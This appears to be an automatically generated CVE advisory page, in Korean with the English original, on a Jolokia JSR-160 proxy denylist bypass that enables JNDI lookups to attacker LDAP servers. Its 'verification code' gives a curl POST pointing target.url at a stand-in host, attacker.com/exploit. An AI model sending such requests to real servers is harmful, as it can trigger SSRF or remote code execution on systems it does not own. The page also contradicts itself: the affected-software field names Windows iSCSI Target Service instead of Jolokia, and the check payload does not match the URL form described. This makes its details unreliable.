🔍 CVE-2026-84218

8.1
CVSS Score
HIGH
2026-09-01
2026-09-02 09:16
✅ 완료

🇰🇷 한글 설명

Jolokia의 JSR-160 프록시 기능에서 클라이언트가 제어하는 JMX 서비스 URL에 대한 검증이 불충분하여 발생하는 취약점입니다. 기존의 차단 목록을 우회하여 공격자가 제어하는 LDAP 엔드포인트로 JNDI 조회를 유도할 수 있으며, 이를 통해 SSRF 또는 원격 코드 실행(RCE)이 가능합니다.

💡 쉬운 설명

해커가 특수한 주소를 보내 Jolokia 서버가 가짜 서버에 접속하도록 속이는 보안 구멍입니다. 이 과정에서 서버의 권한을 탈취하거나 서버를 마음대로 조종할 수 있는 위험이 있습니다.

🇺🇸 원문 (English)

A flaw was found in Jolokia's JSR-160 proxy functionality where insufficient validation of client-controlled JMX service URLs allows a bypass of the denylist introduced to mitigate CVE-2018-1000130. The proxy accepts a `target.url` value from a Jolokia POST request and passes it to `JMXServiceURL` and `JMXConnectorFactory` for establishing the remote JMX connection. The existing denylist only rejects URLs matching `service:jmx:rmi:///jndi/ldap:.*`, which can be bypassed using alternative valid JMX service URL forms, including `ldaps://` schemes or LDAP URLs with a non-empty JMX host component. These URLs are accepted as valid `JMXServiceURL` objects and can cause the Jolokia agent JVM to perform a JNDI lookup against an attacker-controlled LDAP endpoint. This can result in server-side request forgery (SSRF), forwarding of supplied JMX credentials to the remote endpoint, and potentially remote code execution depending on the classes and configuration available in the target JVM.

📍 영향받는 시스템

Jolokia (CVE-2018-1000130 우회 가능한 버전)

⚔️ 공격 벡터

조작된 target.url 값을 포함한 POST 요청을 통해 JNDI lookup 유도

🛡️ 대응 방법

Jolokia를 최신 보안 패치가 적용된 버전으로 업데이트하거나, JMX 서비스 URL 검증 로직을 강화해야 합니다.

🔧 검증 코드

명령어 실행 시 서버가 오류 없이 외부 ldaps 주소를 처리하거나 응답을 반환하면 취약한 상태입니다.

Shell / Script
curl -s -X POST http://localhost:8080/jolokia -d '{"type":"read","name":"java.lang:type=Runtime","target.url":"ldaps://attacker.com/exploit"}'

📊 CVSS Vector String

CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

💻 영향받는 소프트웨어

Windows iSCSI Target Service